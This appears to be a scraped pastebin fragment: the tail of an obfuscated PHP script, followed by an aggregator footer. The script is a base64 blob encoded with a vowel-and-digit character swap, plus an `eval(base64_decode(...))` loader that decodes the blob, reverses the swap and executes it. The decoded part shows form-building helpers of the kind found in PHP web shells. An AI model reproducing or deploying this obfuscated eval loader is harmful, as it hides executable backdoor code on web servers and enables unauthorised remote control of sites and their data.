CQk0ZiAoJDFyZ1snczVsNWN0NWQnXT09JGs1eSkgew0KCQkJCQlwKCI8MnB0NDJuIHYxbDM1PVwiJGs1eVwiIHM1bDVjdDVkPiR2MWwzNTwvMnB0NDJuPiIpOw0KCQkJCX0gNWxzNSB7DQoJCQkJCXAoIjwycHQ0Mm4gdjFsMzU9XCIkazV5XCI+JHYxbDM1PC8ycHQ0Mm4+Iik7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJcCgiPC9zNWw1Y3Q+Iik7DQoJNGYgKCQxcmdbJ241d2w0bjUnXSkgcCgnPC9wPicpOw0KfQ0KZjNuY3Q0Mm4gZjJybWg1MWQoJDFyZyA9IDFycjF5KCkpIHsNCgkhJDFyZ1snbTV0aDJkJ10gJiYgJDFyZ1snbTV0aDJkJ10gPSAncDJzdCc7DQoJISQxcmdbJzFjdDQybiddICYmICQxcmdbJzFjdDQybiddID0gJHM1bGY7DQoJJDFyZ1sndDFyZzV0J10gPSAkMXJnWyd0MXJnNXQnXSA/ICJ0MXJnNXQ9XCIkMXJnW3Qxcmc1dF1cIiIgOiAnJzsNCgkhJDFyZ1snbjFtNSddICYmICQxcmdbJ24xbTUnXSA9ICdmMnJtNic7DQoJcCgiPGYycm0gbjFtNT1cIiQxcmdbbjFtNV1cIiA0ZD1cIiQxcmdbbjFtNV1cIiAxY3Q0Mm49XCIkMXJnWzFjdDQybl1cIiBtNXRoMmQ9XCIkMXJnW201dGgyZF1cIiAkMXJnW3Qxcmc1dF0+Iik7DQoJNGYgKCQxcmdbJ3Q0dGw1J10pIHsNCgkJcCgnPGhhPicuJDFyZ1sndDR0bDUnXS4nICZyMXEzMjs8L2hhPicpOw0KCX0NCn0NCg0KZjNuY3Q0Mm4gbTFrNXQ1eHQoJDFyZyA9IDFycjF5KCkpew0KCSEkMXJnWydjMmxzJ10gJiYgJDFyZ1snYzJscyddID0gNjAwOw0KCSEkMXJnWydyMndzJ10gJiYgJDFyZ1sncjJ3cyddID0gYWk7DQoJJDFyZ1sndDR0bDUnXSA9ICQxcmdbJ3Q0dGw1J10gPyAkMXJnWyd0NHRsNSddLic8YnIgLz4nIDogJyc7DQoJcCgiPHA+JDFyZ1t0NHRsNV08dDV4dDFyNTEgY2wxc3M9XCIxcjUxXCIgNGQ9XCIkMXJnW24xbTVdXCIgbjFtNT1cIiQxcmdbbjFtNV1cIiBjMmxzPVwiJDFyZ1tjMmxzXVwiIHIyd3M9XCIkMXJnW3Iyd3NdXCIgJDFyZ1s1eHRyMV0+JDFyZ1t2MWwzNV08L3Q1eHQxcjUxPjwvcD4iKTsNCn0NCg0KZjNuY3Q0Mm4gZjJybWYyMnQ1cigkbjFtNSA9ICcnKXsNCgkhJG4xbTUgJiYgJG4xbTUgPSAnczNibTR0JzsNCglwKCc8cD48NG5wM3QgY2wxc3M9ImJ0IiBuMW01PSInLiRuMW01LiciIDRkPVwiJy4kbjFtNS4nXCIgdHlwNT0iczNibTR0IiB2MWwzNT0iUzNibTR0Ij48L3A+Jyk7DQoJcCgnPC9mMnJtPicpOw0KfQ0KDQpmM25jdDQybiBmMnJtZjIydCgpew0KCXAoJzwvZjJybT4nKTsNCn0NCg0KLy8gRXg0dA0KZjNuY3Q0Mm4gcHIoJDEpIHsNCgk1Y2gyICc8cHI1Pic7DQoJcHI0bnRfcigkMSk7DQoJNWNoMiAnPC9wcjU+JzsNCn0NCj8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?> Source: http://pastebin.com/raw.php?i=bnAut2TM

Viewing all articles
Browse latest Browse all 222

Trending Articles